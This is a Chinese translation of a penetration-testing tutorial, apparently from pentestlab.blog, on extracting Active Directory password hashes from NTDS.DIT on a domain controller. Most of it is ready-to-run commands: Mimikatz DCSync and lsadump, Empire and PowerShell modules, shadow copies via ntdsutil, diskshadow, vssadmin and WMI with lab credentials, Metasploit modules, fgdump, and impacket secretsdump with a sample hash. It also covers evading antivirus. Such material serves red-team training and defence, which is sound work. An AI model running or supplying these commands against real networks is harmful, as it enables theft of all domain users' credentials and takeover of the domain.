内容简介:本文翻译自:在渗透测试期间一个非常常见的情形是,在获得域管理员访问权限后需要提取所有域用户的密码哈希以进行线下破解和分析。 这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组成员身份和用户。NTDS.DIT文件始终被操作系统使用,因此无法直接复制到其他位置以提取信息。 在Windows以下位置可以找到此文件:
本文翻译自: https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
前言
在渗透测试期间一个非常常见的情形是,在获得域管理员访问权限后需要提取所有域用户的密码哈希以进行线下破解和分析。 这些哈希值存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如组成员身份和用户。
NTDS.DIT文件始终被操作系统使用,因此无法直接复制到其他位置以提取信息。 在Windows以下位置可以找到此文件:
C:\Windows\NTDS\NTDS.dit
可以使用多种技巧来提取此文件或存储在其中的信息,不过大多数技巧都基于以下方法:
- 域控制器复制服务(Domain Controller Replication Services)
- Windows原生的二进制文件
- WMI
Mimikatz
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。 此技巧避开了直接运行域控制器(Domain Controller, DC)所需要的身份验证,它可以通过域管理员的权限从域的任何系统执行。 因此它是红队的标准技巧,因为它很低调。
lsadump::dcsync /domain:pentestlab.local /all /csv
Mimikatz - 通过DCSync转储域哈希
通过使用 / user 参数指定域用户名,Mimikatz可以转储指定用户的所有帐户信息,包括其密码哈希。
lsadump::dcsync /domain:pentestlab.local /user:test
Mimikatz - 通过DCSync转储用户哈希
或者直接在域控制器中执行Mimikatz,通过lsass.exe进程转储密码哈希。
privilege::debuglsadump::lsa /inject lsadump::lsa /inject
Mimikatz - 通过lsass转储域哈希
提取域用户的密码哈希值。
Mimikatz - 通过lsadump转储域哈希
Empire
PowerShell Empire有两个模块,可以通过DCSync攻击获得域哈希。 这两个模块都需要以域管理员身份执行,并且他们要使用微软复制服务。 这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。 以下模块将提取的域哈希以类似于Metasploit hashdump输出的格式进行输出。
usemodule credentials/mimikatz/dcsync_hashdump
Empire - DCSync Hashdump模块
DCSync模块需要指定用户才能提取所有帐户信息。
Empire - DCSync模块
将获得以下信息:
Empire - DCSync帐户信息
Nishang
Nishang是一个PowerShell框架,它使红队队员和渗透测试人员能够对系统进行攻击性操作。 Copy-VSS脚本可用于自动提取所需的文件:NTDS.DIT,SAM和SYSTEM。 这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\
Nishang - 提取NTDS PowerShell
或者,可以通过加载PowerShell扩展从现有的Meterpreter会话执行脚本。
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS
也可以使用命令powershell_shell建立直接PowerShell会话,以便在脚本导入现有Meterpreter会话后提取文件。
Copy-VSS Copy-VSS -DestinationDir C:\Ninja
Nishang - 提取NTDS Meterpreter PowerShell
PowerSploit
PowerSploit包含了一个PowerShell脚本。该脚本可以利用卷影拷贝服务(Volume Shadow copy Service, VSS)创建一个新卷,用于提取文件。
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy
PowerSploit - VolumeShadowCopyTools
或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy
PowerSploit - 卷影拷贝
然后,可以使用命令copy将文件从新卷复制到目标路径。
Invoke-DCSync
Invoke-DCSync是一个PowerShell脚本,由Nick Landers开发,利用PowerView,Invoke-ReflectivePEInjection和PowerKatz的DLL包装器,使用DCSync的Mimikatz方法提取哈希值。 直接执行该函数将生成以下输出:
Invoke-DCSync
Invoke-DCSync - PowerShell
结果将格式化为四个表:Domain,User,RID和Hash。
使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式提取哈希: user:id:lm:ntlm :::
Invoke-DCSync -PWDumpFormat
Invoke-DCSync - PowerShell PWDump格式
通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。
Invoke-DCSync Metasploit
使用PWDumpFormat:
Invoke-DCSync - Metasploit PWDump格式
NTDSUTIL
ntdsutil是一个命令行工具,是域控制器生态系统的一部分,其目的是使管理员能够访问和管理Windows Active Directory数据库。 但是,渗透测试人员和红队可以借用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。
ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit
NTDSUTIL
将生成两个新文件夹:Active Directory和Registry。 NTDS.DIT文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。
ntdsutil - ntds
Diskshadow
DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷影拷贝服务(VSS)相关的操作。 最初bohops在他的博客中写到了这个二进制文件。 这个二进制文件有交互式和脚本两种模式,因此可以使用一个脚本文件,它将包含自动提取NTDS.DIT所需的所有命令。 脚本文件可以包含以下命令,以便创建新的卷影拷贝,装入新驱动器,执行复制命令并删除卷影拷贝。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset
应该注意, DiskShadow二进制文件需要从 C:\Windows\System32 路径执行。 如果从其他路径调用它,脚本将无法正确执行。
diskshadow.exe /s c:\diskshadow.txt
Diskshadow
直接从解释器运行以下命令将列出系统的所有可用的卷影拷贝。
diskshadow LIST SHADOWS ALL
diskshadow - 提取卷影拷贝
SYSTEM注册表配置单元也应该被复制,因为它包含解密NTDS文件内容的密钥。
reg.exe save hklm\system c:\exfil\system.bak
diskshadow - 从Registry复制系统
WMI
Sean Metcalf在他的博客中证明,可以通过WMI远程提取NTDS.DIT和SYSTEM文件。 此技巧使用vssadmin二进制文件来创建卷影拷贝。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
WMI - 创建卷影拷贝
然后,它远程执行复制命令,以便将卷影拷贝中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
WMI - 复制NTDS文件
这同样适用于SYSTEM文件。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
WMI - 复制系统文件
然后,解压缩的文件可以从域控制器传输到另一个Windows系统,以转储域密码哈希值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
通过copy传输文件
如果进一步拿去生成黄金票据(Golden Ticket),则可以替换凭证,使用它通过域控制器的Kerberos协议身份验证。(参见文末参考链接)
VSSADMIN
卷影拷贝(VSS)是一个Windows命令行程序。它使得管理员可以备份计算机,卷和文件,即使它们正在被操作系统使用。 卷影拷贝作为服务运行,并要求文件系统为NTFS格式,默认情况下所有现代操作系统都是如此。在Windows命令提示符执行以下操作将创建C:驱动器的快照,以便用户将通常无法访问的文件复制到其他位置(本地文件夹,网络文件夹或可移动介质)。
vssadmin create shadow /for=C:
vssadmin - 创建卷影拷贝
由于C:驱动器中的所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,从而可以访问并复制到另一个位置。 命令COPY会把NTDS.DIT和SYSTEM文件复制到本地驱动器上的新建文件夹ShadowCopy中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
从卷影拷贝中复制文件
这些文件需要从域控制器复制到另外的主机以进行进一步处理。
ShadowCopy 文件夹下的文件
vssown
与vssadmin程序类似, Tim Tomes开发了vssown ,它是一个可视化的脚本,可以创建和删除卷影拷贝,从卸载的卷影拷贝里运行任意的可执行文件,以及启动和停止卷影拷贝服务。
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete
vssown - 卷影拷贝
可以使用命令COPY复制所需的文件。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
vssown - 复制NTDS,SYSTEM和SAM文件
Metasploit
Metasploit框架有一个模块,它通过服务器消息块(Server Message Block, SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影拷贝,并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。 这些文件可以与impacket等其他 工具 一起使用,这些工具可以执行Active Directory的密码哈希的提取。
auxiliary/admin/smb/psexec_ntdsgrab
Metasploit - NTDS模块
还有一个后期利用模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法提取域哈希。
windows/gather/credentials/domain_hashdump
或者,如果有现成的到域控制器的Meterpreter会话,则可以使用命令hashdump 。 但是,此方法被认为是不安全的,因为它可能会使域控制器崩溃。
hashdump
Metasploit - DC上的Hashdump
fgdump
fgdump是一个老的可执行文件,可以提取LanMan和NTLM的密码哈希值。 如果已获得本地管理员凭据,则可以在本地或远程运行fgdump。 在运行期间,fgdump将尝试关闭系统上可能存在的反病毒软件,如果成功,则会将所有数据写入两个文件中。 但是说实话,如果存在反病毒软件或终端安全解决方案,为了避免被探测到攻击行为,不应使用fgdump转储密码哈希。因为大多数反病毒公司(包括Microsoft的Windows Defender)都会对其进行查杀。
fgdump.exe
fgdump - 域控制器
可以通过检查.pwdump文件的内容来提取密码哈希值。
type 127.0.0.1.pwdump
fgdump - pwdump文件
NTDS提取
Impacket是一组 python 脚本,可用于执行各种任务,包括提取NTDS文件的内容。impacket-secretsdump模块需要SYSTEM和NTDS两个数据库文件。
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
impacket - 提取NTDS内容
此外, impacket还可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
impacket - 远程提取NTDS内容
作为impacket的替代解决方案, NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
NTDSDumpEx
还有一个 shell 脚本adXtract ,它可以将用户名和密码哈希导出为一种通用格式,继而被常见的密码破解程序使用,例如John the Ripper和Hashcat。
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
adXtract
该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。 该脚本将提供有关域用户的大量信息,如下所示。
adXtract - 用户列表
密码哈希将以下列格式显示。
参考链接
How the Active Directory – Data Store Really Works
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 条条大路通罗马:实现数字货币双花攻击的多种方法
- 避免凭证转储攻击的5个技巧
- 通过内存转储打破Linux全盘加密保护
- 蓝屏(BSOD)转储设置,看本文就够了!
- Ali Canal 实现 MySQL 数据采集转储
- 从PowerShell内存转储中提取执行的脚本内容
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
CSS 压缩/解压工具
在线压缩/解压 CSS 代码
URL 编码/解码
URL 编码/解码